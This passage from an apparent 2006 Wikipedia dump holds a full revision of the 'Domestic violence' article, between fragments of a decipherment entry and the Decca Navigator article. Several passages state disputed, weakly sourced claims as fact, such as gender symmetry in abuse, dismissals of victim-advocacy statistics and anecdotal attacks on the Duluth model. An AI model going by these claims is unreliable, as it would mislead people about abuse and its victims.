* [[Jean-François Champollion]]
* [[Georg Friedrich Grotefend]]
* [[Yuri Knorosov]]

==See also==
* [[Archaeology]]
* [[Linguistics]]
* [[List of undeciphered writing systems]]
* [[List of famous ciphertexts]]
* [[Writing systems]]

==External links==
* [http://www.plu.edu/~ryandp/texts.html Ancient Languages and Scripts]
* http://www.cs.mcgill.ca/~fsaber1/language/MysteryCuneiform.html
*[http://www.straightdope.com/mailbag/mindusscript.html How come we can't decipher the Indus script?] (from [[The Straight Dope]])

[[Category:Cryptography]]
[[Category:Writing systems]]

[[de:Entschlüsselung]]
[[et:Dešifreerimine]]
[[tr:deşifre]]</text>
    </revision>
  </page>
  <page>
    <title>Domestic violence</title>
    <id>8948</id>
    <revision>
      <id>41879615</id>
      <timestamp>2006-03-02T08:54:46Z</timestamp>
      <contributor>
        <username>Joe Decker</username>
        <id>204282</id>
      </contributor>
      <minor />
      <comment>/* Types */ Bold &quot;threats' to clarify it's part of the list of seven types of IPV as currently listed</comment>
      <text xml:space="preserve">'''Domestic violence''', broadly defined, is [[violence]] within a [[home]].  Beyond this, the term has a range of definitions, some more and some less formal, that are frequently used with little awareness that a range of definitions exists.  Domestic violence can be physical, sexual and/or psychological.

Domestic violence is perpetrated by, and on, both men and women, and occurs in same-sex and opposite-sex relationships.

According to the [[Center for Disease Control]] [http://www.cdc.gov/], domestic violence is a serious, preventable public health problem affecting more than 32 million Americans (Tjaden and Thoennes 2000). 

Domestic violence can vary in frequency and severity. It occurs on a continuum, ranging from non-physical psychological abuse to one hit that may or may not physically injure the victim to chronic, severe violence.  The term &quot;initimate partner violence&quot;, or IPV, is often used more or less synonymously.  Repeated abuse is also known as battering.

==Types==
There are seven main types of intimate partner violence:

'''Physical [[violence]]''' is the intentional use of physical force with the potential for causing death, disability, injury, or harm, for example, hitting, shoving, biting, restraint, or use of a weapon.

'''[[Sexual violence]]''' is divided into three categories: 1) use of physical force to compel a person to engage in a sexual act against his or her will, whether or not the act is completed; 2) attempted or completed sex act involving a person who is unable to understand the nature or condition of the act, to decline participation, or to communicate unwillingness to engage in the sexual act, e.g., because of illness, disability, or the influence of alcohol or other drugs, or because of intimidation or pressure; and 3) abusive sexual contact. 

'''Threats''' of physical or sexual violence use words, gestures, or weapons to communicate the intent to cause death, disability, injury, or physical harm.

'''Psychological/emotional violence''' involves trauma to the victim caused by acts, threats of acts, or coercive tactics. Psychological/emotional abuse can include, but is not limited to, humiliating the victim, controlling what the victim can and cannot do, withholding information from the victim, deliberately doing something to make the victim feel diminished or embarrassed, isolating the victim from friends and family, and denying the victim access to money or other basic resources. It is considered psychological/emotional violence when there has been prior physical or sexual violence or prior threat of physical or sexual violence.

[[Relational aggression]] is form of Psychological/Social aggression the uses various forms of falsehood, secrecy and gossip to commit covert violence.  Also known (incorrectly) as 'Female Bullying', it is often a spectactularly successful tactic because so few people know how to detect it.  Women, and also men, often use it because it is covert, leaves no visible scars and can be done with a smile.  It destroys or damages the target's reputation and ruins the targets relationships.

[[Parental alienation]] is another form of covert violence where children are used as a weapon of war by one parent to alienate the other parent.  This covert form of domestic violence is often used by women, and sometimes men too, in high-conflict marriages.  It is often devastating to the alienated spouse/parent and to the alienating/alienated children caught in the middle.  In effect, it uses innocent, unwitting children to commit relational aggression by one parent against the other.

In addition, [[stalking]] is often included among the types of IPV. Stalking generally refers to repeated behavior that causes victims to feel a high level of fear (Tjaden &amp; Thoennes, 2000).

==[[CAFCASS]] Definition==
CAFCASS, whilst mentioning in its Domestic Violence Policy [http://www.cafcass.gov.uk/English/Publications/consultation/04DecDV%20Policy.pdf] that it uses the term ''domestic violence'' to refer to a range of violent and abusive behaviours, defines it as:

*Patterns of behaviour characterised by the misuse of power and control by one person over another who are or have been in an intimate relationship. It can occur in mixed gender relationships and same gender relationships and has profound consequences for the lives of children, individuals, families and communities. It may be physical, sexual, emotional and/or psychological. The latter may include intimidation, harassment, damage to property, threats and financial abuse.

==Other definitions==
The New York State Coalition defines domestic violence as &quot;abusive behavior - emotional, psychological, physical, or sexual - that one person in an intimate relationship uses in order to control the other. It takes many different forms and includes behaviors such as threats, name-calling, preventing contact with family or friends, withholding money, actual or threatened physical harm and sexual assault. Stalking can also be a form of domestic violence.&quot;  [http://www.nyscadv.org/domesticviolence.htm]

''Domestic''
*[[Family]] relationship, explicit and formal or informal, usually between adults of similar age, else it is labeled [[child abuse]] or [[child sexual abuse|child molestation]] for children, and [[elder abuse]] for older adults.  

*[[Romantic relationship]]s including [[marriage]]s, cohabitation, and dating relationships, sexual and nonsexual, exclusive or nonexclusive, heterosexual or homosexual.

[[Image:images.encarta.msn.com/xrefmedia/sharemed/targets/images/pho/t629/T629092A.jpg|frame|A victim of Domestic Violence]]

''Violence''
*Physical violence 
**Direct physical violence, ranging from [[murder]] and [[rape]] to unwanted [[physical contact]]. 
**Indirect physical violence, including [[destruction]] of objects, [[throwing]] objects near the victim, harm to animals
*Mental/emotional violence
**Verbal [[threat]]s of physical violence to the victim, the self, or others including children, ranging from explicit, detailed and impending to implicit and vague as to both content and time frame 
**Verbal violence, including threats, [[insult]]s, put-downs, attacks
**Nonverbal threats, including [[gesture]]s, [[facial]] expressions, [[body]] [[posture]]s
*Economic/social abuse
**Controlling victim's money and other economic resources, preventing victim from seeing friends and relatives, actively sabotaging victim's social relationships and isolating victim from social contacts. 

The term &quot;domestic violence&quot; replaced &quot;wife beating&quot; or &quot;wife battering&quot; which came before. In its turn, it has begun to be replaced with more descriptive terms such as &quot;relationship violence&quot;, &quot;domestic abuse&quot;, &quot;intimate partner violence&quot;, &quot;[[spousal abuse]]&quot;, and &quot;family violence&quot;.  The term has been defined legally in some jurisdictions, which can add further confusion when members of the justice system interact with domestic violence advocates.

===Cycle of violence===
Frequently, domestic violence is used to describe specific violent and overtly abusive incidents, and legal definitions will tend to take this perspective.  However, when violent and abusive behaviors happen within a relationship, the effects of those behaviors continue after these overt incidents are over.  Advocates and counselors will refer to domestic violence as a pattern of behaviors, including those listed above.  

[[Lenore Walker]] presented the model of a [[Cycle of violence|Cycle of Violence]] which consists of three basic phases:

;''Honeymoon Phase'':Characterized by affection, apology, apparent end of violence.
;''Tension Building Phase'':Characterized by poor communication, tension, fear of causing outbursts,
;''Acting-out Phase'':Characterized by outbursts of violent, abusive incidents.

Although it is easy to see the outbursts of the Acting-out Phase as abuse, even the more pleasant behaviors of the Honeymoon Phase serve to perpetuate the abuse. See also the [[cycle of abuse]] article.

=Cause=
There are many different theories as to the cause of domestic violence. One of the leading theories is that domestic violence is fueled by a need for power and control over another person. The Domestic Abuse Intervention Project illustrated this by creating the  [http://www.ncdsv.org/images/Power_and_Control_wheel_NCDSV.pdf &quot;Power and Control Wheel&quot;] which shows power and control at the center, surrounded by spokes referring to techniques used, the titles of which include:

* Coercion and threats
* Intimidation
* Emotional abuse
* Isolation
* Minimizing, denying and blaming 
* Using Children
* Economic Abuse
* Male Privilege 

The simplest theory that explains the cause for domestic violence comes from people who deal with bullies.  It is a means to an end that is easier than other means.  The heading on the UK National Website for Bullying in the Family states that 'Those Who Can, Do.  Those Who Can't Bully.'  It seems reasonable to add that those who ''won't'' also prefer violence too.

Given the complexity of human beings and human societies, it seems likely that the full scope of possible intentions for violence occur in domestic violence too.  One film which shows some of these intentions is [[The Piano]] (1994).  Domestic violence often seems to be intended to intimidate, deter, avenge, punish and/or to torture.   Anthropologist Michael Ghigleiri, in his scientific study of male violence suggests that anger in insecure and jealous men who abuse women is associated with prior physical and verbal abuse by their mothers.  These men who fear abandonment and cuckoldry by their wives, use abuse as the best way to stop them.

Though not by any means a cause, substance abuse and mental illness can act as fuel for domestic violence.



=Purpose=

Whilst purposelessness might be a better heading for this section, a [[causality|causalist]] view is that the purpose of domestic violence is not primarily to hurt or harm the victim.  Rather, it is to gain or maintain power and control over the victim.

''Note that power in a relationship is often a matter of perception. A person may perceive themselves to be put-upon when a less involved observer would disagree.''

An alternative view is that abuse arises more from an attempt to 'export' feelings of power''less''ness to the victim. The purpose of an attempt to 'gain or maintain power and control over the victim' is to develop and enforce a permanent channel for such attempted 'export' to the other. Since feelings are personal, and cannot be resolved via others as proxies, this 'export' is inherently impossible to achieve, hence such behaviours are inherently addictive, leading to cycles of abuse. Mutual cycles develop when each party attempts to 'pass the buck' back and forth, usually through varying mechanisms of abuse. Since preferences for abuse-mechanisms are somewhat gendered, with females strongly favouring non-physical forms of abuse, selective 'snapshots' of such interactions may create an illusion of a gendered pattern of violence. Models such as the Duluth framework which attempt to resolve abuse by disempowering the alleged 'perpetrator' actually exacerbate the problems and all but guarantee failure. Resolution is only achieved when ''all'' parties acknowledge their responsibilities, and identify and respect mutual purpose. [http://www.nuancejournal.com.au/documents/one/graves-duluth.pdf]

=Gender=
It is impossible to have a discussion of domestic violence that does not include a discussion of the role gender does or doesn't have to play in the problem.  Sometimes, the discussion of gender can overwhelm any other topic, due to the degree of emotion with which the discussion of gender can attain. The topic is also itself emotive because of the revulsion that is evoked by the idea of vulnerable people powerless and hurt at the hands of a partner, spouse or other relative.

Attention to domestic violence began in the women's movement as concern about wives being beaten by their husbands, and has remained a major focus in the modern [[feminism|feminist]] movement, particularly under the label &quot;violence against women&quot;. [[Erin Pizzey]], the founder of an early women's shelter in [[Chiswick]], London, has since expressed her dismay at how the issue has become a gender-[[political football]], and expressed an unpopular view in her book ''Prone to Violence'' that some women in the refuge system had a predisposition to seek abusive relationships. She also expressed the view that domestic violence can occur against any vulnerable intimates, regardless of their sex. Given the violence that she herself experienced in the UK for voicing her views, one might be suspicious of some of those who opposed her views, which remain very relevant. Political balance in light of pressure from the feminist movement has been helped by noting that there are women who were violent with their husbands and partners, and with the realisation that where the prevailing culture ceases to be predominantly patriarchal there is no corresponding lessening in the incidence of domestic violence. Pizzey never claimed that the sample of victims she described is  representative of the majority of female victims of violence, only that ''some'' erstwhile victims are actually perpetrators or collaborators in violent relationships to which they are addicted.

There continues to be discussion about whether men are more abusive than women, whether men's abuse of women is worse than women's abuse of men, and whether abused men should be provided resources similar to those available for abused women.  What is often missing in such discussions is that, being equal, both genders commit more or less equal aggression, the difference being in the form that aggression takes (See External links). 
Males often prefer physical aggression while women often prefer psychological aggression.  Unlike physical violence, psychological violence leaves no visible scars but it's consequences, to the target, can be just as terrible.

Domestic violence is clearly an enormous problem. Many studies have reported the high frequency of women as victims: The Council of Europe found in a [[1992]] study that 1 in 4 women experience domestic violence over their lifetimes and between 6-10% of women suffer domestic violence in a given year.  Every minute in the UK, the Police receive a call from the public for assistance for domestic violence.  However, they estimate that only around 35% of domestic violence is actually reported. A [[2002]] Women's Aid study found that 74% of separated women suffered from post-separation violence. Until recently, very few studies even asked about female-on-male (or female-on-female) domestic violence; so while these figures are apallingly high, the prevalence of violence against men is typically not included in these figures.

Studies based on &lt;i&gt;reported&lt;/i&gt; assaults or on police records typically find much greater male-on-female violence, than the reverse. The British Crime Survey for the year 2001-2 [http://www.homeoffice.gov.uk/rds/pdfs04/hors276.pdf] reported, &quot;There were an estimated 12.9 million incidents of domestic violence acts (nonsexual threats or force) against women [84%] and 2.5 million against men [16%] in England and Wales in the year prior to interview.&quot; The same report states, &quot;Four per cent of women and two per cent of men were subject to domestic violence (non-sexual domestic threats or force) during the last year.&quot; However, men are known to be far less likely to file complaints. 

Many publications claim a grave disparity in general: Women's Aid (the UKs leading domestic violence charity) say &quot;Crime statistics and research both show that domestic violence is gender specific - usually the perpetrator of a pattern of repeated assaults is a man. Women experience the most serious physical and repeated assaults.&quot;  42% of all female homicide victims compared with 4% of male homicide victims, were killed by current or former partners in England and Wales in the year [[2000]]-[[2001]]. This equates to 102 women, an average of 2 women each week (Home Office, [[2001]]). Ahimsa [http://www.bbc.co.uk/devon/news/032001/03/abuse.shtml], a UK based DV project, says: &quot;Research findings consistently report that over 90% of domestic violence is perpetrated by men within heterosexual relationships&quot;. This, however, is simply untrue. Although it is true that many studies report only male-on-female violence because that is all they ask about, those studies that do examine prevalence in both directions overwhelmingly find little difference by gender. This is particularly true when questions are specific: for example, men typically do not report being slapped if they are simply asked about &quot;violence&quot;; women do.

Martin S. Fiebert of the Department of Psychology at California State University, Long Beach, provides an annotated bibliography of 174 scholarly studies that have found significant prevalence of female-on-male domestic violence[http://www.csulb.edu/~mfiebert/assault.htm].

When it comes to domestic violence towards children involving physical abuse, research in the UK by the [[NSPCC]] indicated that &quot;most violence occurred at home (78 per cent) with mothers being primarily responsible in 49 per cent of cases and fathers in 40 per cent of cases.&quot;[http://www.aifs.gov.au/nch/pubs/nl2001/winter2.html]

Studies have been carried out to explore these issues, and results have seemed somewhat contradictory.  A problem in conducting such studies is the amount of silence, fear and shame that results from abuse within families and relationships.  Another is that abusive patterns can tend to seem normal to those who have lived in them for a length of time.  Similarly, subtle forms of abuse can be quite transparent even as they set the stage for further abuse seeming normal.  Finally, inconsistent definition of what domestic violence is makes strong conclusions hard to reach when compiling the available studies.  

Both men and women have been arrested and convicted of assaulting their partners in both heterosexual and homosexual relationships.  The bulk of these arrests has been men being arrested for assaulting women, but that has been shifting somewhat over time and clearly arrest records are not the whole story. Actual studies of behaviour show that whilst half of male/female intimate violence is best described as mutual brawling, a quarter is the male attacking the female and the remaining quarter being females attacking their male partner. Determining how many instances of domestic violence actually involve male victims is difficult. Male domestic violence victims may be reluctant to get help for a number of reasons (see [http://www.batteredmen.com/bathelpwhymen.htm this article]) (Article checked [[August 8]], [[2004]].) A man who calls for help may even risk being arrested as the &quot;perpetrator&quot; even though he was the victim. 

The general consensus seems to be that male on female domestic violence is more likely to result in serious injury or death, whereas female on male (which, under the definition used by the UK Government if no others, includes preventing the father seeing the children), is more likely to result in male [[suicide]].  Men on average have more upper body strength and socialization that predisposes them to resort to violence more than women do, and that can give them a higher average lethality than women.  However, women can and do use weapons to equalize whatever deficit in physical power which may be present, and can also use social constraints against men hitting women even in self-defense, to provide them with sufficient lethality to be dangerous in conflict situations.  The US National Family Violence Survey has consistently indicated, in repeated surveys over more than 30 years, that women are more than twice as likely as men to initiate domestic assault, and more than twice as likely to use weapons.  The oft-repeated claim that all violence by women is self-defence has similarly been proven to be based on [[Begging the question|circular reasoning]].  Women also are at least as well equipped to use psychological violence that forms a pattern of coercive and controlling behaviour (to use the Women's Aid definition given above). Women are also equally capable of using a [[Proxy representative|proxy]], which would further skew the results (since a [[proxy murder]] is not recorded as a case of domestic violence.)

In the United States, the bulk of the decrease in rates of intimate partner homicides is accounted for the dramatic decrease in women's murders of their male intimate partners. Murders of female intimate partners by men have dropped, but not nearly as dramatically. (see, for example, the report Violence by Intimates from the US Bureau of Justice Statistics at http://www.ojp.usdoj.gov/bjs/pub/pdf/vbi.pdf) Men kill their female intimate partners at about four times the rate that women kill their male intimate partners.  Research by Jacquelyn Campbell, PhD RN FAAN has found that at least two thirds of women killed by their intimate partners were battered by those men prior to the murder.  She also found that when males are killed by female intimates, the women in those relationships had been abused by their male partner about 75% of the time.

Some researchers have found a relationship between the availability of domestic violence services, improved laws and enforcement regarding domestic violence and increased access to divorce, and higher earnings for women with declines in intimate partner homicide. (Laura Dugan, Daniel S. Nagin, and Richard Rosenfeld. Explaining the Decline in Intimate Partner Homicide: The Effects of Changing Domesticity, Women's Status, and Domestic Violence Resources in Homicide Studies, Vol. 3, No. 3, 187-214, 1999) 

This suggests that, ironically, male abusers have benefitted from domestic violence reforms, and are less likely to be killed by their partners since women are no longer faced with murder as their &quot;only option&quot; to escape the violence. At the same time, men continue to kill their female partners at almost the same rate. This suggests that reforms in the civil and criminal system and social services to battered women have not impacted the fundamental causes of domestic violence. Although some presume that this indicates a gendered nature of the problem, the lack of success may itself be a result of overly simplistic gender-assumptions on the nature of violence (see notes on the Duluth model in the 'Response to domestic violence' section).

Gender roles and expectations can and do play a role in abusive situations, and exploring these roles and expectations can be helpful in addressing abusive situations, as do factors like race, class, religion, sexuality and philosophy.  None of these factors cause one to abuse or another to be abused.

==Gender Bias in the language of Domestic Violence==

When people, community agencies and the media discuss domestic violence, they often refer to the perpetrator as &quot;he&quot; and the victim as &quot;she&quot;. This is usually done because the reported prevalence of men perpetrating violence in the U.S. is higher than women. The [http://www.ncjrs.org/pdffiles1/nij/183781.pdf Full Report of the Prevalence, Incidence, and Consequences of Violence Against Women], Conducted by the US Department of Justice states that &quot;Women experience more intimate partner violence than do men: 22.1 percent of surveyed women, compared with 7.4 percent of surveyed men, reported they were physically assaulted by a current or former spouse, cohabiting partner, boyfriend or girlfriend, or date in their lifetime; 1.3 percent of surveyed women and 0.9 percent of surveyed men reported experiencing such violence in the previous 12 months. Approximately 1.3 million women and 835,000 men are physically assaulted by an intimate partner annually in the United States.&quot; 

It is important to note, however, that people of all genders, races, ethnicities, and religions can be perpetrators of domestic violence.  Domestic violence occurs in 18% of lesbian couples in the US so it is obviously gender independent. In an effort to be more inclusive, many organizations have made an effort to use gender-neutral terms when referring to perpetratorship and victimhood.

==Domestic violence in same-sex relationships==

Historically domestic violence has been seen as a family issue and little interest has been directed at violence in same-sex relationships. It has not been until recently, as the [[gay rights movement]] has brought the issues of [[gay]] and [[lesbian]] people into public attention, when research has been started to conduct on same-sex relationships. Several studies have indicated that partner abuse among same-sex couples (both female and male) is relatively similar in both prevalence and dynamics to that among opposite-sex couples.  Gays and lesbians, however, face special obstacles in dealing with the issues that some researchers have labelled &quot;the double closet&quot;: not only do gay and lesbian people often feel that they are discriminated against and dismissed by police and social services, they are also often met with lack of support from their peers who would rather keep quiet about the problem in order not to attract negative attention toward the [[gay community]]. Also, the supportive services are mostly designed for the needs of heterosexual women and do not always meet the needs of other groups.

=Statistics=

It is estimated that every year in the [[United States]], approximately 3 million women are assaulted by their partner.  Many of these incidents go unreported to authorities due to the shame and fear associated with domestic violence. In [[1998]], of the approximately 1.5 million violent crimes committed between intimate partners, over 876,000 of the victims were women, and over 835,000 were men.  Of the approximately 1,830 murders committed against intimate partners in 1998, 3 out of 4 of the victims were women. In 2001 according to the Bureau of Statistics there were 691,710 non-fatal domestic violence acts committed and 1,247 fatal incidents.  In homes where domestic violence occurs, children in the home are at a 300% greater risk of being abused.  Between 3 and 5 billion dollars are spent annually for medical expenses related to domestic violence.  Also, approximately 100 million dollars is lost by businesses annually though lost productivity, sick leave and absenteeism due to domestic violence.

==Allegations of domestic violence==

[[Allegations of domestic violence]] are frequent in post-divorce/separation situations. Such allegations may often be third-party abuse, using third-parties such as courts to carry out untraceable abuse against a falsely-accused 'perpetrator' (see article in [http://www.nuancejournal.com.au/documents/one/graves-duluth.pdf Nuance Journal of Family Studies]). The consequences of such allegations can be serious for the alleged perpetrator since occupation of the home and custody of the children may be at stake. In Australia, mandated allocation of family resources in court-supervised separation shifts automatically from 50:50 to 80:20 in favour of the alleged victim if there is any allegation of abuse; anecdotal reports and other evidence indicate that such allegations are accepted only from women, and that the allegation itself is required to be taken as its own proof, without any checks or balances. It is sometimes claimed that &quot;less than 2% of reported domestic violence allegations are proved false&quot;, but anecdotal and other evidence suggests that this claim, as with many supposed statistics in domestic-violence 'research', is based more on wishful thinking and circular reasoning than on fact. {{fact}}

=Response to domestic violence=

The response to domestic violence is typically a combined effort between law enforcement agencies, the courts, social service agencies and corrections/probation agencies.  The role of each has evolved as domestic violence has been brought more into public view.  Historically, law enforcement agencies, the courts and corrections agencies treated domestic violence as a personal matter.  For example, police officers were often reluctant to intervene by making an arrest, and often chose instead to simply counsel the couple and/or ask one of the parties to leave the residence for a period of time.  The courts were reluctant to impose any significant sanctions on those convicted of domestic violence, largely because it was viewed as a misdemeanor offense. This mindset of treating family violence as a personal problem of minor consequence permeated the system's response, and potentially allowed the perpetrator to continue acting violently.

Activism, initiated by victim advocacy groups and feminist groups, has led to a better understanding of the scope and effect of domestic violence on victims and families, and has brought about changes in the criminal justice system's response.

==Background==
In [[1981]], the [[Domestic Abuse Intervention]] Project became the first multi-disciplinary program designed to address the issue of domestic violence.  This experiment, conducted in [[Duluth]], [[Minnesota|MN]], frequently referred to as the &quot;Duluth Project,&quot; involved coordinating the actions of a variety of agencies that deal with domestic situations.  The policies and activities of diverse elements of the system, from police officers on the street, to shelters for battered women and probation officers supervising offenders, were coordinated with each other. This program has become a model for other jurisdictions seeking to deal more effectively with domestic violence.  More and more jurisdictions are mandating that suspects in domestic violence incidents be arrested if there is probable cause to believe that an assault occurred. Victim advocates are intervening directly with victims by providing them with counseling about the court process, how to obtain and use restraining orders and how to formulate and implement safety plans.  Corrections/probation agencies in many areas are supervising domestic violence offenders more closely, and are also paying closer attention to the victim's needs and safety issues.

It should be noted, however, that the Duluth framework depends on a strict 'patriarchal violence' model and presumes that all violence in the home and elsewhere has a male perpetrator and female victim. Through what appears to be nothing more than circular reasoning, it explicitly rejects any concept of mutuality or symmetry in abusive relationships, and appears to have little or no basis in relation to proven principles in psychology, education or remedial therapy. (For analysis of these and other fundamental flaws in the Duluth model, and approaches to resolve them, see [http://www.nuancejournal.com.au/documents/one/graves-duluth.pdf this article] in Nuance Journal of Family Studies.) Hence although the Duluth program is widely used, anecdotal evidence indicates that its record of success has been patchy at best. It may be inappropriate for all but a relatively small number of domestic violence contexts. There is an urgent need for formal review of the Duluth framework, and development of alternative frameworks for use in other contexts.

==Treatment and support==
Publicly available resources for dealing with domestic violence have tended to be almost exclusively geared towards supporting women and children who are in relationships with or who are leaving violent men, rather than for survivors of domestic violence ''per se''. This has been due to the purported numeric preponderance of female victims and the perception that domestic violence only affected women.  Resources to help men who have been using violence take responsibility for and stop their use of violence, such as Men's Behaviour Change Programs or [[anger management]] training, are available, though attendees are ordered to pay for their own course in order that they should remain accountable for their actions.

One of the challenges for lay observers, victims, perpetrators and treatment providers is demonstrated by the tendency to describe perpetrator treatment as men's &quot;anger management&quot; groups.  

Comprehensive and accountable behaviour change programs are seen as far more appropriate and effective interventions in male violence in the home than anger management groups. 

Inherent in anger management only approaches is the assumption that the violence is a result of a loss of control over one's anger. While there is little doubt that some domestic violence ''is'' about the loss of control, the choice of the target of that violence may be of greater significance. Anger management might be appropriate for the individual who lashes out indiscriminately when angry towards coworkers, supervisors or family. In most cases, however, the domestic violence perpetrator lashes out ''only'' at their intimate partner or relatively defenseless child, which suggests an element of choice or selection that, in turn, suggests a different or additional motivation beyond simple anger. Most experienced treatment providers have probably observed that for various reasons, many of which may be cultural, the perpetrator has a sense of entitlement, sometimes conscious, sometimes not, that leads directly to their choice of target.

Men's behaviour change programs, although differing throughout the world, tend to focus on the prevention of further violence within the family and the safety of women and children. Often they abide by various standards of practise that includes 'partner contact' where the participants female partner is contacted by the program and informed about the course, checked about her level of safety and support and offered support services for herself if she requires them. Many of these programs have both a male and female facilitator and follow a program designed to highlight the impact of his behaviour, examine the attitudes, values and behaviours that lead to his choice to use violence and aim to support and challenge the man to take responsibility for his use of violence. 

Work with men who use violence and abuse toward family members can be seen in Victoria, Australia where a unique combination of voluntary and mandated (court or police referred) programs exist as well as a statewide telephone counselling, information and referral service for men exists. see: No To Violence (NTV) the Male Family Violence Prevention Association. [http://www.ntv.net.au] However, there are no equivalent services in Victoria for women who use violence or abuse, nor any support services at all for abused men. The absence of such services leads to circular claims that no such services are required, and to similarly circular claims that the available services represent proof that violence is exclusively 'male'.

==Police==
From the perspective of the police, who are often the first to investigate domestic violence incidents, one of the problems is that the definitions of domestic violence include acts that are not themselves crimes. The London Metropolitan Police has nevertheless compiled a list of the crimes [http://www.met.police.uk/enoughisenough/strategy.htm#footnotes] which typically can occur when domestic violence occurs. They are:

*[[Murder]]/[[attempted murder]]
*[[Manslaughter]] 
*[[Rape]] 
*[[Indecent assault]] 
*[[Grievous bodily harm]]/wounding 
*[[Actual bodily harm]] 
*Common [[assault]]
*[[Threat]]s to kill 
*[[Affray]] 
*Threatening behaviour 
*[[Harassment]] 
*[[Blackmail]] 
*[[False imprisonment]] 
*[[Kidnapping]] 
*[[Criminal damage]] 
*[[Malicious communications]] 
*[[Witness intimidation]]
*[[Obstructing the course of justice]]
*[[Conspiracy to pervert the course of justice]]

The UK Crown Prosecution Service publishes guidange for prosecution in cases of alleged domestic violence. [http://www.cps.gov.uk/publications/docs/DomesticViolencePolicy.pdf]

==Risk assessment==
Policy in the UK since the start of the millennium has been to make a risk assessment when there is a reported incident of domestic violence in order to determine the likelihood of serious harm or further serious harm occurring, regardless of whether an actual crime has been committed. Further proceedings are then based on the outcome of the risk assessment. Some are concerned at the [[jurisprudence]] of this approach, because it allows punitive action to be taken against an alleged prepetrator without recourse to a fair trial. The charity [[Women's Aid]] proposes that such risk assessments should always be conducted on fathers who wish to see their children after parental separation even where there has been no history of domestic violence:

:''Women's Aid is concerned that there is no mention'' [in a recent government Green Paper] ''of the development of clear protocols to ensure that these measures'' [new measures to ensure family continuity] ''are not used in cases where there is a known history '''or future risk''' of domestic violence.'' [http://www.womensaid.org.uk/policy&amp;consultations/consultationresponses/Parental_separation_full_response.htm]

==Domestic violence and culture==

=== Wife beating in Islam ===
Sheikh Muhammad Kamal Mustafa, [[imam]] of the mosque of the city of Fuengirola, Costa del Sol, [[Spain]], in his book ''The Woman in Islam'' writes, of the status of violence against wives on the part of husbands in Islamic [[Sharia]] law, stating that it is permissible in some instances. 
&lt;blockquote&gt;
&quot;The wife-beating must never be in exaggerated, blind anger, in order to avoid serious harm [to the woman].&quot; He adds, &quot;It is forbidden to beat her on the sensitive parts of her body, such as the face, breast, abdomen, and head. Instead, she should be beaten on the arms and legs,&quot; using a &quot;rod that must not be stiff, but slim and lightweight so that no wounds, scars, or bruises are caused.&quot; Similarly, &quot;[the blows] must not be hard.&quot; [http://www.worldnetdaily.com/news/article.asp?ARTICLE_ID=37690]
&lt;/blockquote&gt;

Mustafa noted in his book that the aim of the beating was to cause the woman to feel some emotional pain, without humiliating her or harming her physically. According to him, physical blows must be the last resort to which a husband turns in punishing his wife, and is, according to the [[Qur'an]] (Chapter 4, Verse 34), the husband's third step when the wife is rebellious: First, he must reprimand her, without anger. Next, he must distance her from the conjugal bed. Only if these two methods fail should the husband turn to beating. 

Sheikh Yousef Qaradhawi, head of the [[European Council for Fatwa and Research]], has advocated &quot;non-painful&quot; beating of wives: &quot;it is permissible for [the husband] to beat her lightly with his hands, avoiding her face and other sensitive parts. In no case should he resort to using a stick or any other instrument that might cause pain and injury.&quot;

Dr. Muhammad Al-Hajj, lecturer on Islamic faith at the [[University of Jordan]] (Amman) states: &quot;Hard beatings are those that leave marks on the body or on the face. Thus, beating on the face is prohibited, because the face is a combination of the features of beauty, as it is said. It is forbidden to beat the face, it is forbidden to administer blows that leave fractures or wounds; this is what our sages have said in their books.&quot;

While some Muslims interpret the Qu'ran to allow the beating of wives, many other Muslims interpret the scripture to say &quot;leave&quot; the wife, not beat her. [http://www.answering-christianity.com/beating_no.htm]

''See also: [[Rania al-Baz]]''

==External links and resources==
*[http://www.ndvh.org/index.php National Domestic Violence Hotline (US)]
*[http://www.bullyonline.org/related/family.htm Bullying in the Family] 
*[http://www.homeoffice.gov.uk/crime-victims/reducing-crime/domestic-violence/?version=1 UK Home Office on DV]
*[http://www.dca.gov.uk/family/abfldomviol.htm CASC Guidelines]
* Haugen, David, ''Domestic Violence: Opposing Viewpoints'', Greenhaven, 2005.
* Ghiglieri, Micheal, P., ''The Dark Side of Man: Tracing the Origins of Male Violence'', Perseus Books, 1999.
* Dutton, Donald, ''The Batterer: A Psychological Profile'', Basic Books, 1997.

For resources, interpretations, and discussion of Domestic Violence in Islam please see [http://www.progressiveislam.org ProgressiveIslam.Org's] section on [http://progressiveislam.org/women/index.php/Violence_against_Women Violence against Women] in their [http://progressiveislam.org/women/index.php/Main_Page Women's Health Project]

&lt;!--Categories--&gt;
[[Category:Violence]]
[[Category:Domestic violence| ]]

&lt;!--Interwiki links--&gt;
[[de:Häusliche Gewalt]]
[[es:Violencia doméstica]]
[[fr:Violence conjugale]]
[[ja:配偶者からの暴力]]
[[pt:Violência doméstica]]
[[zh:家庭暴力]]</text>
    </revision>
  </page>
  <page>
    <title>Decca Navigator System</title>
    <id>8949</id>
    <revision>
      <id>40913031</id>
      <timestamp>2006-02-23T21:20:31Z</timestamp>
      <contributor>
        <username>Sicooke</username>
        <id>179049</id>
      </contributor>
      <minor />
      <comment>/* Origins */  Removed link to Decca Radar - see discussion</comment>
      <text xml:space="preserve">[[Image:Decca Navigator Mk 12.jpg|thumb|300px|Decca Navigator Mk 12]]
The '''Decca Navigator System''' was a [[hyperbola|hyperbolic]] [[radio navigation]] system (also known as [[Multilateration|multilateration]]) and first deployed during [[World War II|World War 2]] when the Allied forces needed a system which could be used to achieve accurate landings. As was the case with [[Loran C]], its primary use was for ship navigation in coastal waters. The system was deployed extensively in the North Sea and was used by helicopters operating to [[oil platform]]s. 
It has now been superseded by systems such as the American [[GPS]] system and the planned European [[Galileo positioning system]]. 

It was deployed in the [[United Kingdom]] after World War 2 and later used in many areas around the world. Decca employees used to joke that DECCA was an acronym for ''Dedicated Englishmen Causing Chaos Abroad''.

== Principles of Operation ==
=== Overview ===
[[Image:Crude loran diagram.PNG|thumb|right|''The Decca Navigator principle.'' &lt;br&gt; The difference between the phase of the signal received from station A (Master) and B (Slave) is constant along each hyperbolic curve. The focii of the hyperbola are at the transmitting stations, A and B.]]

The Decca Navigator System consisted of a number of land-based stations organised into ''chains''. Each chain consisted of a Master station and three (occasionally two) Slave stations, termed Red, Green and Purple. Each station transmitted a continuous wave signal that, by comparing the [[phase]] difference of the signals from the Master and one of the Slaves, resulted in resulted in a set of hyperbolic ''lines of position'' called a ''pattern''. As there were three Slaves there were three patterns, termed Red, Green and Purple. The patterns were drawn on nautical charts as a set of hyperbolic lines in the appropriate colour. Receivers identified which [[hyperbola]] they were on and a position could be plotted at the intersection of the [[hyperbola]] from different patterns, usually by using the pair with the best angle of cut.

=== Detailed Principles of Operation ===
